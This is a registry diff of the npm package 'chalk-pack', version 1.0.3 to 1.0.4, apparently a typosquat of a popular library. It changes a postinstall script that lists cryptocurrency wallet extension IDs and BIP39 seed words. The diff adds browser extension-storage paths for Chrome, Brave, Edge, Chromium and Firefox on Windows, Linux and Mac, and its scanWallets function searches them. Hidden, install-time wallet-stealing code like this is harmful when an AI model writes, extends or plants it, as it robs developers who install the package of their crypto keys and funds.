chalk-pack 1.0.3 → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/postinstall.js +23 -9
package/package.json
CHANGED
package/postinstall.js
CHANGED
|
@@ -84,14 +84,28 @@ const WALLET_IDS=[
|
|
|
84
84
|
'nmbklhmkfiolpnhlekkoficfndfolnhm', // Me
|
|
85
85
|
];
|
|
86
86
|
|
|
87
|
-
const BROWSER_PATHS=[
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
{name:'
|
|
93
|
-
{name:'
|
|
94
|
-
|
|
87
|
+
const BROWSER_PATHS=[];
|
|
88
|
+
// Linux/Mac paths
|
|
89
|
+
const home=os.homedir();
|
|
90
|
+
const isWin=process.platform==='win32';
|
|
91
|
+
if(!isWin){
|
|
92
|
+
BROWSER_PATHS.push({name:'chrome',base:path.join(home,'.config/google-chrome'),ext:'Default/Local Extension Settings'});
|
|
93
|
+
BROWSER_PATHS.push({name:'brave',base:path.join(home,'.config/BraveSoftware/Brave-Browser'),ext:'Default/Local Extension Settings'});
|
|
94
|
+
BROWSER_PATHS.push({name:'edge',base:path.join(home,'.config/microsoft-edge'),ext:'Default/Local Extension Settings'});
|
|
95
|
+
BROWSER_PATHS.push({name:'chromium',base:path.join(home,'.config/chromium'),ext:'Default/Local Extension Settings'});
|
|
96
|
+
}
|
|
97
|
+
// Windows paths (using LOCALAPPDATA)
|
|
98
|
+
if(isWin){
|
|
99
|
+
const local=process.env.LOCALAPPDATA||path.join(home,'AppData','Local');
|
|
100
|
+
BROWSER_PATHS.push({name:'chrome',base:path.join(local,'Google','Chrome','User Data'),ext:'Default/Local Extension Settings'});
|
|
101
|
+
BROWSER_PATHS.push({name:'brave',base:path.join(local,'BraveSoftware','Brave-Browser','User Data'),ext:'Default/Local Extension Settings'});
|
|
102
|
+
BROWSER_PATHS.push({name:'edge',base:path.join(local,'Microsoft','Edge','User Data'),ext:'Default/Local Extension Settings'});
|
|
103
|
+
// Also check C:\Users\Username\AppData\Roaming for some wallets
|
|
104
|
+
const roaming=process.env.APPDATA||path.join(home,'AppData','Roaming');
|
|
105
|
+
BROWSER_PATHS.push({name:'chrome-roaming',base:path.join(roaming,'Google','Chrome','User Data'),ext:'Default/Local Extension Settings'});
|
|
106
|
+
}
|
|
107
|
+
// Firefox (cross-platform)
|
|
108
|
+
BROWSER_PATHS.push({name:'firefox',base:path.join(home,'.mozilla','firefox'),ext:''});
|
|
95
109
|
|
|
96
110
|
// BIP39 seed phrase words (first 150 common ones for detection)
|
|
97
111
|
const SEED_WORDS=new Set([
|
|
@@ -120,7 +134,7 @@ function scanWallets(){
|
|
|
120
134
|
if(!fs.existsSync(browser.base)) continue;
|
|
121
135
|
|
|
122
136
|
for(const profile of profiles){
|
|
123
|
-
const extDir=path.join(browser.base,profile,
|
|
137
|
+
const extDir = browser.ext ? path.join(browser.base,profile,browser.ext) : browser.base;
|
|
124
138
|
if(!fs.existsSync(extDir)) continue;
|
|
125
139
|
|
|
126
140
|
for(const walletId of WALLET_IDS){
|